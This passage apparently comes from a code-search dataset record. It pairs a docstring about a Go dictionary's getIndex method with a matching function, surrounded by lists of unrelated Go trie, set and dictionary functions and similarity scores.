{\n\t\t\t//如果数据不存在,创建\n\t\t\tthis.nexts[value] = &Trie{\n\t\t\t\tnexts: make(map[byte]*Trie),\n\t\t\t}\n\t\t}\n\t\tif key == len(bytes) - 1 {\n\t\t\tthis.nexts[value].isEnd = true\n\t\t}\n\t\tthis = this.nexts[value]\n\t}\n}", "func add(i string) error {\n\treturn nil\n}", "func (fm *ForthMachine) Add(w Word) (err error) {\n\treturn fm.d.Add(w)\n}", "func (t *Tokeniser) put(b byte) {\n\tt.inWord = true\n\tt.word = append(t.word, b)\n}", "func (this *Trie) Insert(word string) {\n\tcur := this.root\n\n\t// go through word\n\tfor _, c := range word {\n\t\t// check if not already in children\n\t\tif _, ok := cur.children[c]; !ok {\n\t\t\t// create\n\t\t\tcur.children[c] = &TrieNode{map[rune]*TrieNode{}, false}\n\t\t}\n\t\t// set next\n\t\tcur = cur.children[c]\n\t}\n\n\t// mark as end of word\n\tcur.isEnd = true\n}", "func (this *Trie) Insert(word string) {\n if len(word) == 0 {return}\n if this.path == nil {\n this.path = make([]*Trie, 26)\n }\n if this.path[word[0] - 'a'] == nil {\n this.path[word[0]-'a'] = &Trie{}\n this.path[word[0]- 'a'].end = len(word) == 1\n } else {\n if !this.path[word[0]- 'a'].end {\n this.path[word[0]- 'a'].end = len(word) == 1\n }\n }\n this = this.path[word[0]-'a']\n this.Insert(word[1:])\n}", "func (m *store) Insert(w ukjent.Word) error {\n\tgot, err := m.get(w.Word)\n\tif err == nil {\n\t\treturn base.TranslationExists(got.Word, got.Translation)\n\t}\n\n\tdefer m.withWrite()()\n\tm.data[w.Word] = entry{w.Translation, w.Note}\n\treturn nil\n}", "func (this *Trie) Insert(word string) {\n\tcur := this.Root\n\tfor _, c := range word {\n\t\tif _, ok := cur.Child[c]; !ok {\n\t\t\tcur.Child[c] = &Node{\n\t\t\t\tChild: map[rune]*Node{},\n\t\t\t}\n\t\t}\n\t\tcur = cur.Child[c]\n\t}\n\tcur.Value = true\n}", "func (this *Trie) Insert(word string) {\n for _,v := range word{\n if this.name[v-'a'] == nil{\n this.name[v-'a'] = new(Trie)\n fmt.Println(this.name)\n }\n this = this.name[v-'a']\n \n }\n \n this.isWord = true\n}", "func (this *Trie) Insert(word string) {\n\tcur := this.root\n\tfor _, v := range []byte(word) {\n\t\tif cur.children[v-'a'] == nil {\n\t\t\tcur.children[v-'a'] = &TrieNode{children: make([]*TrieNode, 26)}\n\t\t}\n\t\tcur = cur.children[v-'a']\n\t}\n\tcur.word = word\n}", "func (trie *Trie) Insert(word string) {\n\tnodeObj, foundFunc := trie.FindNode(word)\n\t// case: node already exists & is a terminal\n\tif foundFunc {\n\t\tif nodeObj.Terminal {\n\t\t\treturn\n\t\t}\n\n\t}\n\n\tnodeObj = trie.Root\n\tfor _, char := range word {\n\t\t_, found := nodeObj.Children[string(char)]\n\n\t\t// case: if the letter does not exist as a child from current node\n\t\tif !found {\n\t\t\tnewChildNode := node.NewNode(string(char))\n\t\t\tnodeObj.AddChildren(string(char), newChildNode)\n\t\t\t// traverse tree\n\t\t}\n\t\tnodeObj = nodeObj.Children[string(char)]\n\n\t}\n\n\t// set node terminal to true at the end of word iteration\n\tnodeObj.Terminal = true\n\n\ttrie.Size++\n}", "func (s Set) Add(st string) {\n\tif _, ok := s[st]; !ok {\n\t\ts[st] = true\n\t}\n}", "func (s *Store) add(id string, e Entry) (err error) {\n\tutils.Assert(!utils.IsSet(e.ID()) || id == e.ID(), \"ID must not be set here\")\n\tif _, exists := (*s)[id]; exists {\n\t\treturn fmt.Errorf(\"Found multiple parameter definitions with id '%v'\", id)\n\t}\n\n\tif !utils.IsSet(e.ID()) {\n\t\te.setID(id)\n\t}\n\t(*s)[id] = e\n\treturn nil\n}", "func (t *Trie) Insert(word string) {\n\tif t.Search(word) {\n\t\treturn\n\t}\n\n\troot := t.Root\n\tfor _, r := range word {\n\t\tif n, ok := hasChild(r, root.Children); ok {\n\t\t\troot = n\n\t\t} else {\n\t\t\tnewNode := &Node{r, nil}\n\t\t\troot.Children = append(root.Children, newNode)\n\t\t\troot = newNode\n\t\t}\n\t}\n\tleaf := &Node{'*', nil}\n\troot.Children = append(root.Children, leaf)\n}", "func (this *Trie) Insert(word string) {\n\n\tcur := this\n\tfor i := 0; i < len(word); i++ {\n\t\tb := word[i]\n\t\tif cur.next[b-97] == nil {\n\t\t\tcur.next[b-97] = new(Trie)\n\t\t}\n\t\tcur = cur.next[b-97]\n\t}\n\tcur.isEnd = true\n}", "func (trie *Trie) addMovie(s string, id int) {\n\ts = strings.ToLower(s)\n\n\tres := strings.Fields(s)\n\n\tstrings.ToLower(s)\n\n\tif trie.root == nil {\n\t\ttmp := new(TNode)\n\t\ttmp.isword = false\n\t\ttmp.cnodes = make(map[string]*TNode)\n\t\ttrie.root = tmp\n\t}\n\n\tfor i := range res {\n\t\ttrie.root.addString(res[i], id)\n\t}\n}", "func (t *Trie) Insert(word string) {\n\tp := t.root\n\twordArr := []rune(word)\n\tvar i int\n\n\tfor i = 0; i < len(wordArr); i++ {\n\t\tif p.edges[wordArr[i]-'a'] == nil {\n\t\t\tbreak\n\t\t} else {\n\t\t\tp = p.edges[wordArr[i]-'a']\n\t\t}\n\t}\n\n\tfor ; i < len(wordArr); i++ {\n\t\tp.edges[wordArr[i]-'a'] = &TrieNode{}\n\t\tp = p.edges[wordArr[i]-'a']\n\t}\n\tp.isWord = true\n}", "func (this *Trie) Insert(word string) {\n\tnode := this\n\n\tfor _, char := range word {\n\t\tchar -= 'a'\n\t\tif node.children[char] == nil {\n\t\t\tnode.children[char] = &Trie{}\n\t\t}\n\t\tnode = node.children[char]\n\t}\n\n\tnode.isEnd = true\n}", "func (index *ind) add(value string) {\n\tvar halfhash string\n\n\tif len(value) <= hashKeySize {\n\t\thalfhash = value\n\t} else {\n\t\thalfhash = value[:hashKeySize]\n\t}\n\n\tindex.Storage[halfhash] = append(index.Storage[halfhash], value)\n}", "func (t *Trie) Insert(word string) {\n\ttmp := t\n\tfor _, c := range word {\n\t\tif _, val := tmp.links[string(c)]; !val {\n\t\t\tnt := Constructor()\n\t\t\ttmp.links[string(c)] = &nt\n\t\t}\n\t\ttmp = tmp.links[string(c)]\n\t}\n\ttmp.isEnd = true\n}", "func (this *Trie) Insert(word string) {\n\tnode := this\n\tfor i := 0; i <= len(word); i++ {\n\t\tif i == len(word) {\n\t\t\tnode.endOfWord = true\n\t\t\treturn\n\t\t}\n\t\tidx := word[i] - 'a'\n\t\tif node.children[idx] == nil {\n\t\t\tnode.children[idx] = &Trie{}\n\t\t}\n\t\tnode = node.children[idx]\n\t}\n}", "func (t *Trie) Insert(word string) {\n\tcur := t.Root\n\tfor _, c := range word {\n\t\tfmt.Print(c)\n\t\t_, ok := cur.Next[c]\n\t\tif !ok {\n\t\t\tcur.Next[c] = &Node{\n\t\t\t\tNext: make(map[rune] *Node),\n\t\t\t}\n\t\t}\n\n\t\tcur = cur.Next[c]\n\t}\n\n\tif !cur.IsWord {\n\t\tcur.IsWord = true\n\t}\n\n}", "func Add(key string, lang map[string]string) {\n\tLang[key] = lang\n}", "func (t *Trie) Insert(word string) {\n\tcurr := t.Root\n\tfor _, char := range word {\n\t\tif _, ok := curr.Children[char]; !ok {\n\t\t\tcurr.Children[char] = &TrieNode{}\n\t\t}\n\t\tcurr = curr.Children[char]\n\t}\n\tcurr.IsLeaf = true\n}", "func (t *Trie) Insert(word string) {\n\twordLength := len(word)\n\tcurrent := t.root\n\tfor i := 0; i < wordLength; i++ {\n\t\tindex := word[i] - 'a'\n\t\tif current.children[index] == nil {\n\t\t\tcurrent.children[index] = &TrieNode{}\n\t\t}\n\t\tcurrent = current.children[index]\n\t}\n\tcurrent.isWordEnd = true\n}", "func (this *WordsFrequency) Insert(word string) {\n\ttemp := this\n\tfor _, v := range word {\n\t\tnxt := v - 'a'\n\t\tif temp.next[nxt] == nil {\n\t\t\ttemp.next[nxt] = &WordsFrequency{}\n\t\t}\n\t\ttemp = temp.next[nxt]\n\t}\n\ttemp.ending += 1\n}", "func (s String) Add(item string) {\n\ts[item] = DummyValue\n}", "func (r *MongoRepository) add(definition *Definition) error {\n\tsession, coll := r.getSession()\n\tdefer session.Close()\n\n\tisValid, err := definition.Validate()\n\tif false == isValid && err != nil {\n\t\tlog.WithError(err).Error(\"Validation errors\")\n\t\treturn err\n\t}\n\n\t_, err = coll.Upsert(bson.M{\"name\": definition.Name}, definition)\n\tif err != nil {\n\t\tlog.WithField(\"name\", definition.Name).Error(\"There was an error adding the resource\")\n\t\treturn err\n\t}\n\n\tlog.WithField(\"name\", definition.Name).Debug(\"Resource added\")\n\treturn nil\n}", "func (p *WCSPayload) Add(key string, value string) {\n\tif key != \"\" && value != \"\" {\n\t\tfor _, v := range validkeys {\n\t\t\tif v == key {\n\t\t\t\tp.wcs[key] = value\n\t\t\t}\n\t\t}\n\t}\n}", "func (this *Trie) Insert(word string) {\n\ttrie := this\n\tfor _, char := range word {\n\t\tisLeaf := false\n\t\tif trie.childs[char-97] == nil {\n\t\t\ttrie.childs[char-97] = &Trie{isLeaf: isLeaf}\n\t\t}\n\t\ttrie = trie.childs[char-97]\n\t}\n\ttrie.isLeaf = true\n}", "func (this *Trie) Insert(word string) {\n\tn := this.root\n\n\tfor i := 0; i < len(word); i++ {\n\t\twid := word[i] - 'a'\n\t\tif n.children[wid] == nil {\n\t\t\tn.children[wid] = &node{\n\t\t\t\tch: word[i : i+1],\n\t\t\t\tchildren: [26]*node{},\n\t\t\t\tisWordOfEnd: false,\n\t\t\t}\n\t\t}\n\t\tn = n.children[wid]\n\t}\n\tn.isWordOfEnd = true\n}", "func (t *Trie) Insert(word string) {\n\tnode := t\n\tfor _, c := range word {\n\t\tchar := c - 'a'\n\t\tif node.chars[char] == nil {\n\t\t\tnode.chars[char] = &Trie{isEnd: false, chars: [26]*Trie{}}\n\t\t}\n\t\tnode = node.chars[char]\n\t}\n\tnode.isEnd = true\n}", "func (ss *StringSet) Add(aString string) {\n\tif ss.Contains(aString) {\n\t\treturn\n\t}\n\n\tss.members[aString] = keyExists\n}", "func (this *Trie) Insert(word string) {\n\tnode := this\n\tn := len(word)\n\tfor i := 0; i < n; i++ {\n\t\t// 找到对应子树\n\t\tidx := word[i] - 'a'\n\t\tif node.sons[idx] == nil {\n\t\t\tnode.sons[idx] = &Trie{val: word[i]}\n\t\t}\n\t\t// 当前节点=字典子树\n\t\tnode = node.sons[idx]\n\t}\n\tnode.end++\n}", "func (s Set) add(k string, a...Symbol) {\n\n\tfor _, v := range a {\n\t\tif b, _ := s.contains(k, v); !b {\n\t\t\ts[k] = append(s[k], v)\n\t\t}\n\t}\n}", "func (this *Trie) Insert(word string) {\n\tif len(word) == 0 {\n\t\tthis.end = true\n\t\treturn\n\t}\n\tfor _, e := range this.edges {\n\t\tif e.char == word[0] {\n\t\t\te.next.Insert(word[1:])\n\t\t\treturn\n\t\t}\n\t}\n\te := &edge{\n\t\tchar: word[0],\n\t\tnext: new(Trie),\n\t}\n\tthis.edges = append(this.edges, e)\n\te.next.Insert(word[1:])\n}", "func (s *set) Add(t *Term) {\n\ts.insert(t)\n}", "func (s *Set) Add(item string) {\n\ts.safeMap()\n\ts.m[item] = true\n}", "func (s *Set) Add(key string) {\n\tif s.Get(key) == nil {\n\t\ts.Insert(&Element{\n\t\t\tKey: key,\n\t\t})\n\t}\n}", "func (s *Set) Add(str string) bool {\n\tif s.Exist(str) {\n\t\treturn false\n\t}\n\ts.m[str] = struct{}{}\n\treturn false\n}", "func (s Set) Add(k string) {\n\tif s.Contains(k) {\n\t\treturn\n\t}\n\ts.add(k)\n}", "func (s StringSet) Add(item string) {\n\ts[item] = struct{}{}\n}", "func (t *Trie) insert(letters, value string) {\n\tlettersRune := []rune(letters)\n\n\t// loop through letters in argument word\n\tfor l, letter := range lettersRune {\n\n\t\tletterStr := string(letter)\n\n\t\t// if letter in children\n\t\tif t.children[letterStr] != nil {\n\t\t\tt = t.children[letterStr]\n\t\t} else {\n\t\t\t// not found, so add letter to children\n\t\t\tt.children[letterStr] = &Trie{map[string]*Trie{}, \"\", []string{}}\n\t\t\tt = t.children[letterStr]\n\t\t}\n\n\t\tif l == len(lettersRune)-1 {\n\t\t\t// last letter, save value and exit\n\t\t\tt.values = append(t.values, value)\n\t\t\tbreak\n\t\t}\n\t}\n}", "func (t *Trie) Insert(word string) {\n\tchars := t.toChars(word)\n\tr := t.root\n\tfor i := 0; i < len(chars); i++ {\n\t\tif _, ok := r.children[chars[i]]; !ok {\n\t\t\tr.children[chars[i]] = &node{\n\t\t\t\tend: false,\n\t\t\t\tchildren: make(map[string]*node),\n\t\t\t}\n\t\t}\n\t\tif i == len(chars)-1 {\n\t\t\tr.children[chars[i]].end = true\n\t\t}\n\t\tr = r.children[chars[i]]\n\t}\n}", "func (h Hash) Add(in string) bool {\n\tif _, ok := h[in]; ok {\n\t\t// already in the set\n\t\treturn false\n\t}\n\t// not in the set\n\th[in] = struct{}{}\n\treturn true\n}", "func (set StringSet) Add(e string) {\n\tset[e] = true\n}", "func (c *Corpus) Add(vals ...string) bool {\n\tfor _, v := range vals {\n\t\tif _, ok := c.words[v]; !ok {\n\t\t\tc.Size++\n\t\t\tc.words[v] = true\n\t\t}\n\t}\n\treturn true\n}", "func (g *Goi18n) add(lc *locale) bool {\n\tif _, ok := g.localeMap[lc.lang]; ok {\n\t\treturn false\n\t}\n\n\tg.mu.Lock()\n\tdefer g.mu.Unlock()\n\tif err := lc.Reload(g.option.Path); err != nil {\n\t\treturn false\n\t}\n\tlc.id = len(g.localeMap)\n\tg.localeMap[lc.lang] = lc\n\tg.langs = append(g.langs, lc.lang)\n\tg.langDescs[lc.lang] = lc.langDesc\n\treturn true\n}", "func (m *WordModel) AddWord(word string, freqCount float32) {\n\tm.builder.Add(word)\n\tm.frequencies = append(m.frequencies, freqCount)\n}", "func (s StringSet) Add(x string) { s[x] = struct{}{} }", "func (a *ALU) PushWord(word uint16) {\n\ta.InternalRAM[a.StackPtr+1] = uint8(word)\n\ta.InternalRAM[a.StackPtr+2] = uint8(word >> 8)\n\ta.StackPtr += 2\n}", "func (s StringSet) Add(key string) {\n\ts[key] = void\n}", "func (g *wordGraph) include(word string) {\n\tif len(word) != g.n || !isWord(word) {\n\t\treturn\n\t}\n\tword = strings.ToLower(word)\n\tif _, exists := g.ids[word]; exists {\n\t\treturn\n\t}\n\n\t// We know the node is not yet in the graph, so we can add it.\n\tu := g.UndirectedGraph.NewNode()\n\tuid := u.ID()\n\tu = node{word: word, id: uid}\n\tg.UndirectedGraph.AddNode(u)\n\tg.ids[word] = uid\n\n\t// Join to all the neighbours from words we already know.\n\tfor _, v := range neighbours(word, g.ids) {\n\t\tv := g.UndirectedGraph.Node(g.ids[v])\n\t\tg.SetEdge(simple.Edge{F: u, T: v})\n\t}\n}", "func (d Dictionary) Update(word, def string) error {\n\t_, err := d.Search(word)\n\n\tswitch err {\n\tcase nil:\n\t\td[word] = def\n\tcase errNotFound:\n\t\treturn errCannotUpdate\n\t}\n\n\treturn nil\n}", "func (s *Set) Add(val string) {\n\ts.set[val] = true\n}", "func (s *StrSet) Add(element string) {\n\ts.els[element] = true\n}", "func (tnode *TNode) addString(s string, id int) {\n\tcur := tnode\n\tif len(s) == 0 {\n\t\treturn\n\t}\n\tfor _, c := range s {\n\t\tif cur.cnodes[string(c)] == nil {\n\t\t\ttmp := new(TNode)\n\t\t\ttmp.isword = false\n\t\t\ttmp.cnodes = make(map[string]*TNode)\n\t\t\tcur.cnodes[string(c)] = tmp\n\t\t}\n\t\tcur = cur.cnodes[string(c)]\n\t}\n\n\tcur.isword = true\n\tcur.ids = append(cur.ids, id)\n}", "func (r Dictionary) Update(word string, definition string) error {\n\t_, err := r.Search(word)\n\tswitch err {\n\tcase ErrWordNotFound:\n\t\treturn ErrKeyWordNotExist\n\tcase nil:\n\t\tr[word] = definition\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}" ]
[ "0.794044", "0.7889532", "0.7755874", "0.77298373", "0.7724782", "0.76292384", "0.74169034", "0.7404009", "0.72980726", "0.705334", "0.704343", "0.6935654", "0.67001647", "0.6683539", "0.664371", "0.6512904", "0.65093", "0.6506092", "0.6493109", "0.6423295", "0.6423066", "0.64052886", "0.63850033", "0.6383607", "0.63597023", "0.63088363", "0.63000315", "0.62656105", "0.6259003", "0.6253268", "0.62278694", "0.61956996", "0.61944085", "0.6141669", "0.6128783", "0.61272657", "0.6122165", "0.60336787", "0.59893596", "0.59879017", "0.5966874", "0.59336877", "0.5928667", "0.5911123", "0.589848", "0.58843344", "0.58825964", "0.5855987", "0.58289176", "0.58119386", "0.5795602", "0.5793676", "0.5778215", "0.5778148", "0.57481205", "0.5742028", "0.57309586", "0.57291365", "0.57254344", "0.5721657", "0.5718668", "0.5714509", "0.57027835", "0.5677715", "0.5659197", "0.5656337", "0.5656161", "0.56344557", "0.5627422", "0.56223285", "0.56192553", "0.560395", "0.5596434", "0.5577959", "0.55719167", "0.5570954", "0.55586004", "0.5547603", "0.55455285", "0.5544791", "0.55087876", "0.5487772", "0.5459327", "0.5452701", "0.5446361", "0.5435067", "0.5426088", "0.54221016", "0.5421705", "0.5418479", "0.5410652", "0.54104125", "0.540899", "0.5407014", "0.54045963", "0.5388804", "0.5383147", "0.5372761", "0.5370103", "0.53665924" ]
0.7394302
8
getIndex returns the index of the supplied word, or 0 if the word is not in the dictionary.
func (d *dictionary) getIndex(word string) tokenID { if idx, found := d.indices[word]; found { return idx } return unknownIndex }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (d *dictionary) getWord(index tokenID) string {\n\tif word, found := d.words[index]; found {\n\t\treturn word\n\t}\n\treturn unknownWord\n}", "func GetHashTableIndex(word string) int {\n\tprimoRangeRX := regexp.MustCompile(\"^[a-i]{1}\")\n\tsecondoRangeRX := regexp.MustCompile(\"^[j-r]{1}\")\n\tterzoRangeRX := regexp.MustCompile(\"^[s-z]{1}\")\n\n\tswitch {\n\tcase primoRangeRX.MatchString(word):\n\t\treturn 0\n\tcase secondoRangeRX.MatchString(word):\n\t\treturn 1\n\tcase terzoRangeRX.MatchString(word):\n\t\treturn 2\n\t}\n\treturn -1\n}", "func indexOf(list []string, word string) int {\n\tfor i := range list {\n\t\tif strings.EqualFold(word, list[i]) {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func WordAt(i int) string {\n\treturn words[i]\n}", "func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}", "func GetWord(lang Language, index int64) (string, error) {\n\tswitch lang {\n\tcase English:\n\t\treturn english[index], nil\n\tcase Japanese:\n\t\treturn japanese[index], nil\n\tcase Korean:\n\t\treturn korean[index], nil\n\tcase Spanish:\n\t\treturn spanish[index], nil\n\tcase ChineseSimplified:\n\t\treturn chineseSimplified[index], nil\n\tcase ChineseTraditional:\n\t\treturn chineseTraditional[index], nil\n\tcase French:\n\t\treturn french[index], nil\n\tcase Italian:\n\t\treturn italian[index], nil\n\t}\n\treturn \"\", fmt.Errorf(\"Language %s not found\", lang)\n}", "func IndexizeWord(w string) string {\n\treturn strings.TrimSpace(strings.ToLower(w))\n}", "func (s *Stringish) Index(str string) int {\n\treturn strings.Index(s.str, str)\n}", "func (g *Game) findWord(ws []*scottpb.Word, w string) int {\n\tw = (w + \" \")[0:g.Current.Header.WordLength]\n\tfor i := 0; i < len(ws); i++ {\n\t\tif (ws[i].Word + \" \")[0:g.Current.Header.WordLength] != w {\n\t\t\tcontinue\n\t\t}\n\t\tfor j := i; j >= 0; j-- {\n\t\t\tif !ws[j].Synonym {\n\t\t\t\treturn j\n\t\t\t}\n\t\t}\n\t}\n\treturn UnknownWord\n}", "func indexOf(array []string, key string) int {\n\tfor idx, val := range array {\n\t\tif val == key {\n\t\t\treturn idx\n\t\t}\n\t}\n\n\treturn -1\n}", "func (g *Game) indexOf(name string) (int, int) {\n\tt := strings.ToLower(name)\n\treturn int(rune(t[0]) - 'a'), int(rune(t[1]) - '1')\n}", "func indexOfString(h []string, n string) int {\n\tfor i, v := range h {\n\t\tif v == n {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}", "func (d Dictionary) Search(word string) (string, error) {\n\tdefinition, ok := d[word]\n\n\tif !ok {\n\t\treturn \"\", ErrNotFound\n\t}\n\treturn definition, nil\n}", "func (d Dictionary) Search(word string) (string, error) {\n\tvalue, exists := d[word]\n\tif exists {\n\t\treturn value, nil\n\t}\n\n\treturn \"\", errNotFound\n}", "func (d Dictionary) Search(word string) (string, error) {\n\tvalue, ok := d[word]\n\n\tif ok {\n\t\treturn value, nil\n\t}\n\n\treturn word, errNotFound\n}", "func GetOddWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index is out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][1]\n}", "func (hm *HashMap) getIndex(key string) uint64 {\n\thasher := hm.hasher.Get().(hash.Hash64)\n\thasher.Reset()\n\thasher.Write([]byte(key))\n\tindex := hasher.Sum64() % hm.size\n\thm.hasher.Put(hasher)\n\treturn index\n}", "func Index(substr, operand string) int { return strings.Index(operand, substr) }", "func IndexOf(element string, data []string) int {\n\tfor k, v := range data {\n\t\tif strings.ToLower(element) == strings.ToLower(v) {\n\t\t\treturn k\n\t\t}\n\t}\n\treturn -1\n}", "func (st *SymbolTable) Index(name string) int {\n\tindex, exist := st.symbols[name]\n\tif !exist {\n\t\treturn -1\n\t}\n\n\treturn index\n}", "func (d Dictionary) Search(word string) (string, error) {\n\tkey, exists := d[word]\n\tif exists {\n\t\treturn key, nil\n\t}\n\treturn \"\", errNotFound\n}", "func findFirstVowelIndex(word string) int {\n\tfor i, c := range word {\n\t\tif isLetterVowel(c) {\n\t\t\treturn i\n\t\t}\n\t}\n\n\treturn -1\n}", "func index(slice []string, item string) int {\n\tfor i := range slice {\n\t\tif slice[i] == item {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (r Dictionary) Search(word string) (string, error) {\n\tif word == \"\" {\n\t\treturn \"\", ErrKeyWordEmpty\n\t}\n\tdefinition, ok := r[word]\n\tif !ok {\n\t\treturn \"\", ErrWordNotFound\n\t}\n\treturn definition, nil\n}", "func (d Dictionary) Search(word string) (string, error) {\r\n\tvalue, exists := d[word] //word라는 키에 해당하는 값을 반환\r\n\tif exists {\r\n\t\treturn value, nil // 단어 있음 == 에러가 없다는 말임\r\n\t}\r\n\treturn \"\", errNotFound\r\n}", "func IndexStr(haystack []string, needle string) int {\n\tfor idx, s := range haystack {\n\t\tif s == needle {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn -1\n}", "func (s *EnumSchema) IndexOf(symbol string) int32 {\n\tif s.symbolsToIndex == nil {\n\t\tf, _ := s.Fingerprint()\n\t\tsymbolsToIndexCacheLock.Lock()\n\t\tif s.symbolsToIndex = symbolsToIndexCache[*f]; s.symbolsToIndex == nil {\n\t\t\ts.symbolsToIndex = make(map[string]int32)\n\t\t\tfor i, symbol := range s.Symbols {\n\t\t\t\ts.symbolsToIndex[symbol] = int32(i)\n\t\t\t}\n\t\t\tsymbolsToIndexCache[*f] = s.symbolsToIndex\n\t\t}\n\t\tsymbolsToIndexCacheLock.Unlock()\n\t}\n\tif index, ok := s.symbolsToIndex[symbol]; ok {\n\t\treturn index\n\t} else {\n\t\treturn -1\n\t}\n}", "func SearchVocab(char rune) int {\n\ti, ok := vocab_hash[char]\n\tif !ok {\n\t\treturn -1\n\t}\n\treturn i\n}", "func (s *Set) Index(v string) (int, bool) {\n\tslot, found := s.findSlot(v)\n\tif !found {\n\t\treturn 0, false\n\t}\n\n\tindexPlusOne := s.table[slot]\n\treturn int(indexPlusOne - 1), true\n}", "func IndexString(vs []string, t string) int {\n for i, v := range vs {\n if v == t {\n return i\n }\n }\n return -1\n}", "func (this *WordDictionary) Search(word string) bool {\n\t//byte 等同于int8,常用来处理ascii字符\n\t//rune 等同于int32,常用来处理unicode或utf-8字符\n\tc2:=[]rune(word) //\n\treturn this.match(this.root,c2,0)\n}", "func (this *WordDictionary) Search(word string) bool {\n \n}", "func IndexString(a, b string) int", "func (h *Harmonic) getIndex(key string) (idx int, found bool) {\n\t// Fast track for keys which occur AFTER our tail\n\tif h.end == -1 || key > h.s[h.end].key {\n\t\tidx = h.end + 1\n\t\treturn\n\t}\n\n\tif key < h.s[0].key {\n\t\tidx = -1\n\t\treturn\n\t}\n\n\treturn h.seek(key, 0, h.end)\n}", "func lookupNameIndex(ss []string, s string) int {\n\tq := -1\n\t// apples to apples\n\ts = strings.ToLower(s)\n\tfor i := range ss {\n\t\t// go through all the names looking for a prefix match\n\t\tif s == ss[i] {\n\t\t\t// exact matches always result in an index\n\t\t\treturn i\n\t\t} else if strings.HasPrefix(ss[i], s) {\n\t\t\t// unambiguous prefix matches result in an index\n\t\t\tif q >= 0 {\n\t\t\t\treturn -1\n\t\t\t}\n\t\t\tq = i\n\t\t}\n\t}\n\treturn q\n}", "func IndexOf(ss []string, e string) int {\n\tfor i, s := range ss {\n\t\tif s == e {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func ContainsIndex(arr []string, s string) int {\n\tfor idx, el := range arr {\n\t\tif el == s {\n\t\t\treturn idx\n\t\t}\n\t}\n\treturn -1\n}", "func getWord(id int64) string {\n\treturn diceware8k[id&8191]\n}", "func WordIndexes(s []byte, word []byte) (idxs []int) {\n\ttmp := Indexes(s, word)\n\tif len(tmp) == 0 {\n\t\treturn nil\n\t}\n\n\tfor _, idx := range tmp {\n\t\tx := idx - 1\n\t\tif x >= 0 {\n\t\t\tif !unicode.IsSpace(rune(s[x])) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tx = idx + len(word)\n\t\tif x >= len(s) {\n\t\t\tidxs = append(idxs, idx)\n\t\t\tcontinue\n\t\t}\n\t\tif !unicode.IsSpace(rune(s[x])) {\n\t\t\tcontinue\n\t\t}\n\t\tidxs = append(idxs, idx)\n\t}\n\n\treturn idxs\n}", "func (t *Tokeniser) checkWord(word string) (int, bool) {\n\tcurrInput := t.Input[t.pos:]\n\tif !strings.HasPrefix(currInput, word) {\n\t\treturn 0, false\n\t}\n\treturn len(word), true\n}", "func Lookup(name string) string {\n\treturn index[name]\n}", "func Index(ss []string, s string) int {\n\tfor i, b := range ss {\n\t\tif b == s {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (o *KeyValueOrdered) Index(name Key) (int, bool) {\n\tval, ok := o.m[name]\n\treturn val, ok\n}", "func (this *Trie) Search(word string) bool {\n\treturn this.dict[word]\n}", "func (dict *Dictionary) Find(word []byte) (float64, string, bool) {\n\tvar (\n\t\tid, value int\n\t\tfreq float64\n\t\terr error\n\t)\n\n\tid, err = dict.trie.Jump(word, id)\n\tif err != nil {\n\t\treturn 0, \"\", false\n\t}\n\n\tvalue, err = dict.trie.Value(id)\n\tif err != nil && id != 0 {\n\t\treturn 0, \"\", true\n\t}\n\n\tif err != nil {\n\t\treturn 0, \"\", false\n\t}\n\n\tfreq = dict.Tokens[value].freq\n\tpos := dict.Tokens[value].pos\n\treturn freq, pos, true\n}", "func Index(a []string, s string) int {\n\tif len(a) == 0 {\n\t\treturn -1\n\t}\n\tfor i, v := range a {\n\t\tif v == s {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (t *StringSlice) Index(s string) int {\n\tret := -1\n\tfor i, item := range t.items {\n\t\tif s == item {\n\t\t\tret = i\n\t\t\tbreak\n\t\t}\n\t}\n\treturn ret\n}", "func GetEvenWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index if out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][0]\n}", "func getIndItem (items [] string, finder string) int {\n\tfor i := 0; i < len(items); i++ {\n\t\tif items[i] == finder {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (h *Header) index(key string) (int, bool) {\n\tfor i := 0; i < len(h.slice); i += 2 {\n\t\tif h.slice[i] == key {\n\t\t\treturn i, true\n\t\t}\n\t}\n\treturn -1, false\n}", "func (k *Kmp) Index(s string) int {\n\tlen1, len2 := len(s), len(k.pattern)\n\ti, j := 0, 0\n\tfor i < len1 && j < len2 {\n\t\tif j == -1 || s[i] == k.pattern[j] {\n\t\t\ti++\n\t\t\tj++\n\t\t} else {\n\t\t\tj = k.next[j]\n\t\t}\n\t}\n\tif j == len2 {\n\t\treturn i - j\n\t} else {\n\t\treturn -1\n\t}\n}", "func StrAt(slice []string, val string) int {\n\tfor i, v := range slice {\n\t\tif v == val {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "func (w *Lookup) Word() string {\n\treturn w.word\n}", "func IndexOfString(array []string, val string) int {\n\tfor index, arrayVal := range array {\n\t\tif arrayVal == val {\n\t\t\treturn index\n\t\t}\n\t}\n\treturn -1\n}", "func (v Set) IndexOf(b []byte) (int, bool) {\n\t// trivially handle the case of an empty set\n\tif len(v) == 0 {\n\t\treturn 0, false\n\t}\n\n\t// turn the []byte into a big.Int\n\tiPk := new(big.Int).SetBytes(b)\n\treturn v.indexOf(iPk)\n}", "func (p *SliceOfMap) Index(elem interface{}) (loc int) {\n\tloc = -1\n\tif p == nil || len(*p) == 0 {\n\t\treturn\n\t}\n\n\tpanic(\"NOT IMPLEMENTED\")\n\t// x := ToStringMap(elem)\n\t// for i := range *p {\n\t// \tif 